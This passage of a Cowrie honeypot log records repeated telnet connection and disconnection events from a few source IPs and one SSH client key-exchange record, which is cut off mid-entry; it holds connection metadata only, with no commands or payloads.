{"eventid":"cowrie.session.closed","duration":30.709439277648926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:23.243920Z","src_ip":"206.54.191.52","session":"b0052eb11766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659634590148926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:23.309730Z","src_ip":"206.54.191.52","session":"4c6d422025d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57904,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a62dd44499","protocol":"telnet","message":"New connection: 206.54.191.52:57904 (159.203.135.109:23) [session: f1a62dd44499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:23.860825Z"}
{"eventid":"cowrie.session.closed","duration":30.54555034637451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:24.221878Z","src_ip":"206.54.191.52","session":"a3dc003666c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56962,"dst_ip":"159.203.135.109","dst_port":23,"session":"e062eee99fde","protocol":"telnet","message":"New connection: 206.54.191.52:56962 (159.203.135.109:23) [session: e062eee99fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:25.159589Z"}
{"eventid":"cowrie.session.closed","duration":30.397343635559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:25.331146Z","src_ip":"206.54.191.52","session":"b7b18f408889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58878,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bfff9cc06a1","protocol":"telnet","message":"New connection: 206.54.191.52:58878 (159.203.135.109:23) [session: 1bfff9cc06a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:25.735949Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57058,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6a774fcee40","protocol":"telnet","message":"New connection: 206.54.191.52:57058 (159.203.135.109:23) [session: f6a774fcee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:26.298607Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33164,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d3f7114fdb","protocol":"telnet","message":"New connection: 206.54.191.52:33164 (159.203.135.109:23) [session: 94d3f7114fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:26.828218Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34858,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccc10763983","protocol":"telnet","message":"New connection: 206.54.191.52:34858 (159.203.135.109:23) [session: 5ccc10763983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:28.279026Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36414,"dst_ip":"159.203.135.109","dst_port":23,"session":"a761987113fd","protocol":"telnet","message":"New connection: 206.54.191.52:36414 (159.203.135.109:23) [session: a761987113fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:29.646091Z"}
{"eventid":"cowrie.session.closed","duration":31.641783714294434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:30.152648Z","src_ip":"206.54.191.52","session":"c444973c89a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523448705673218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:30.183038Z","src_ip":"206.54.191.52","session":"7a67c000e9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648292779922485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:30.292228Z","src_ip":"206.54.191.52","session":"67e0018997c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528140544891357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:31.164696Z","src_ip":"206.54.191.52","session":"85a9bf05eb04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38138,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1be824aaba7","protocol":"telnet","message":"New connection: 206.54.191.52:38138 (159.203.135.109:23) [session: c1be824aaba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:31.231646Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86a37fa3449","protocol":"telnet","message":"New connection: 206.54.191.52:35646 (159.203.135.109:23) [session: c86a37fa3449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:31.929952Z"}
{"eventid":"cowrie.session.closed","duration":58.493422508239746,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:32.698995Z","src_ip":"206.54.191.52","session":"d5fcde1d4515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40882,"dst_ip":"159.203.135.109","dst_port":23,"session":"1868f96174ec","protocol":"telnet","message":"New connection: 206.54.191.52:40882 (159.203.135.109:23) [session: 1868f96174ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:33.608062Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":33804,"dst_ip":"159.203.135.109","dst_port":23,"session":"c93f84b88142","protocol":"telnet","message":"New connection: 185.26.126.47:33804 (159.203.135.109:23) [session: c93f84b88142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:33.902411Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc90932c70fe","protocol":"telnet","message":"New connection: 206.54.191.52:42578 (159.203.135.109:23) [session: fc90932c70fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:34.951365Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38190,"dst_ip":"159.203.135.109","dst_port":23,"session":"7020cba093a0","protocol":"telnet","message":"New connection: 206.54.191.52:38190 (159.203.135.109:23) [session: 7020cba093a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:35.271497Z"}
{"eventid":"cowrie.session.closed","duration":30.729414463043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:35.372270Z","src_ip":"206.54.191.52","session":"66242511031d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43368,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed603f066678","protocol":"telnet","message":"New connection: 206.54.191.52:43368 (159.203.135.109:23) [session: ed603f066678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:35.765954Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39187,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae7a6314b981","protocol":"telnet","message":"New connection: 206.54.191.52:39187 (159.203.135.109:23) [session: ae7a6314b981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:36.131394Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42766,"dst_ip":"159.203.135.109","dst_port":23,"session":"28894683f6dc","protocol":"telnet","message":"New connection: 206.54.191.52:42766 (159.203.135.109:23) [session: 28894683f6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:36.147838Z"}
{"eventid":"cowrie.session.closed","duration":30.83945369720459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:36.253556Z","src_ip":"206.54.191.52","session":"88fb858920b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39794898033142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:36.689456Z","src_ip":"206.54.191.52","session":"7a079b90c2f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45284,"dst_ip":"159.203.135.109","dst_port":23,"session":"40dc7cbc64db","protocol":"telnet","message":"New connection: 206.54.191.52:45284 (159.203.135.109:23) [session: 40dc7cbc64db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:37.381650Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45302,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dedb1b66bbb","protocol":"telnet","message":"New connection: 206.54.191.52:45302 (159.203.135.109:23) [session: 6dedb1b66bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:37.394025Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"19321c412a92","protocol":"telnet","message":"New connection: 206.54.191.52:45486 (159.203.135.109:23) [session: 19321c412a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:37.506162Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a53a3e5222","protocol":"telnet","message":"New connection: 206.54.191.52:46068 (159.203.135.109:23) [session: 47a53a3e5222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:37.915517Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01f2f00efb9","protocol":"telnet","message":"New connection: 206.54.191.52:43756 (159.203.135.109:23) [session: c01f2f00efb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:38.183978Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45078,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47a435faae3","protocol":"telnet","message":"New connection: 206.54.191.52:45078 (159.203.135.109:23) [session: f47a435faae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:38.246689Z"}
{"eventid":"cowrie.session.closed","duration":30.97036623954773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:38.309587Z","src_ip":"206.54.191.52","session":"dfe3f403299c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45520,"dst_ip":"159.203.135.109","dst_port":23,"session":"be23b92b8f89","protocol":"telnet","message":"New connection: 206.54.191.52:45520 (159.203.135.109:23) [session: be23b92b8f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:38.527075Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47236,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eaaa7aaa829","protocol":"telnet","message":"New connection: 206.54.191.52:47236 (159.203.135.109:23) [session: 9eaaa7aaa829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:38.989884Z"}
{"eventid":"cowrie.session.closed","duration":31.13181233406067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:39.239465Z","src_ip":"206.54.191.52","session":"1646edee278e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90596318244934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:40.097872Z","src_ip":"206.54.191.52","session":"889bc66065e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.587840795516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:40.101690Z","src_ip":"206.54.191.52","session":"12c6e5740cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47740,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f4ce9d2414","protocol":"telnet","message":"New connection: 206.54.191.52:47740 (159.203.135.109:23) [session: 80f4ce9d2414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:40.489710Z"}
{"eventid":"cowrie.session.closed","duration":30.686511516571045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:41.091933Z","src_ip":"206.54.191.52","session":"2c5dc9640055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45050549507141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:41.253880Z","src_ip":"206.54.191.52","session":"1d9c6119e539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75082039833069,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:41.899127Z","src_ip":"206.54.191.52","session":"9017dfa2d1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50810,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf4f9d67695","protocol":"telnet","message":"New connection: 206.54.191.52:50810 (159.203.135.109:23) [session: bcf4f9d67695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:42.290074Z"}
{"eventid":"cowrie.session.closed","duration":30.85472273826599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:42.355667Z","src_ip":"206.54.191.52","session":"63eade0860d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50823998451233,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:43.099851Z","src_ip":"206.54.191.52","session":"d37f1ee0ec2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96250319480896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:44.344472Z","src_ip":"206.54.191.52","session":"d3aa855a4443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14228057861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:44.429713Z","src_ip":"206.54.191.52","session":"82649ea6e0d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740014791488647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:45.149959Z","src_ip":"206.54.191.52","session":"0d2d774aad40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1116c20954","protocol":"telnet","message":"New connection: 206.54.191.52:54212 (159.203.135.109:23) [session: 2d1116c20954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:45.286147Z"}
{"eventid":"cowrie.session.closed","duration":30.587471961975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:47.468751Z","src_ip":"206.54.191.52","session":"26ac65a4f4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774664402008057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:48.069323Z","src_ip":"206.54.191.52","session":"d39b854b3b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56488,"dst_ip":"159.203.135.109","dst_port":23,"session":"60821470c196","protocol":"telnet","message":"New connection: 206.54.191.52:56488 (159.203.135.109:23) [session: 60821470c196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:48.470098Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57086,"dst_ip":"159.203.135.109","dst_port":23,"session":"9872c7855c53","protocol":"telnet","message":"New connection: 206.54.191.52:57086 (159.203.135.109:23) [session: 9872c7855c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:50.975156Z"}
{"eventid":"cowrie.session.closed","duration":30.263816833496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:51.049686Z","src_ip":"206.54.191.52","session":"077274fa9bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158432245254517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:51.364675Z","src_ip":"206.54.191.52","session":"7a310eeacabf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10675549507141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:51.945016Z","src_ip":"206.54.191.52","session":"617260ad440a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479195594787598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:52.067349Z","src_ip":"206.54.191.52","session":"994b558de2a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"e205a26391eb","protocol":"telnet","message":"New connection: 206.54.191.52:60950 (159.203.135.109:23) [session: e205a26391eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:52.244598Z"}
{"eventid":"cowrie.session.closed","duration":31.82616925239563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:52.897339Z","src_ip":"206.54.191.52","session":"05cdc374e4ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44834876060486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:53.031152Z","src_ip":"206.54.191.52","session":"5f3a0ff84955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34390,"dst_ip":"159.203.135.109","dst_port":23,"session":"30aead686aef","protocol":"telnet","message":"New connection: 206.54.191.52:34390 (159.203.135.109:23) [session: 30aead686aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:53.762771Z"}
{"eventid":"cowrie.session.closed","duration":30.58172583580017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:54.442456Z","src_ip":"206.54.191.52","session":"f1a62dd44499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56336,"dst_ip":"159.203.135.109","dst_port":23,"session":"071114b7d400","protocol":"telnet","message":"New connection: 206.54.191.52:56336 (159.203.135.109:23) [session: 071114b7d400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:54.566457Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35722,"dst_ip":"159.203.135.109","dst_port":23,"session":"9612c55b432a","protocol":"telnet","message":"New connection: 206.54.191.52:35722 (159.203.135.109:23) [session: 9612c55b432a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:55.109576Z"}
{"eventid":"cowrie.session.closed","duration":30.35052752494812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:56.086085Z","src_ip":"206.54.191.52","session":"1bfff9cc06a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37536,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1dfbc65ef1f","protocol":"telnet","message":"New connection: 206.54.191.52:37536 (159.203.135.109:23) [session: c1dfbc65ef1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:56.905413Z"}
{"eventid":"cowrie.session.closed","duration":30.85079073905945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:57.678852Z","src_ip":"206.54.191.52","session":"94d3f7114fdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2deaca83cbfc","protocol":"telnet","message":"New connection: 80.65.211.42:56598 (159.203.135.109:23) [session: 2deaca83cbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:59.164758Z"}
{"eventid":"cowrie.session.closed","duration":30.90834140777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:59.187263Z","src_ip":"206.54.191.52","session":"5ccc10763983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.107489824295044,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:59.266985Z","src_ip":"206.54.191.52","session":"e062eee99fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85495662689209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:00.500923Z","src_ip":"206.54.191.52","session":"a761987113fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.335164070129395,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:00.633680Z","src_ip":"206.54.191.52","session":"f6a774fcee40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17935585975647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.109222Z","src_ip":"206.54.191.52","session":"c86a37fa3449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":57898,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f2a3e435b9","protocol":"ssh","message":"New connection: 14.225.205.58:57898 (10.17.0.5:22) [session: 08f2a3e435b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.425969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.431929Z","src_ip":"14.225.205.58","session":"08f2a3e435b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32364583015442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.555207Z","src_ip":"206.54.191.52","session":"c1be824aaba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35210bab008","protocol":"telnet","message":"New connection: 206.54.191.52:43276 (159.203.135.109:23) [session: d35210bab008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.562549Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa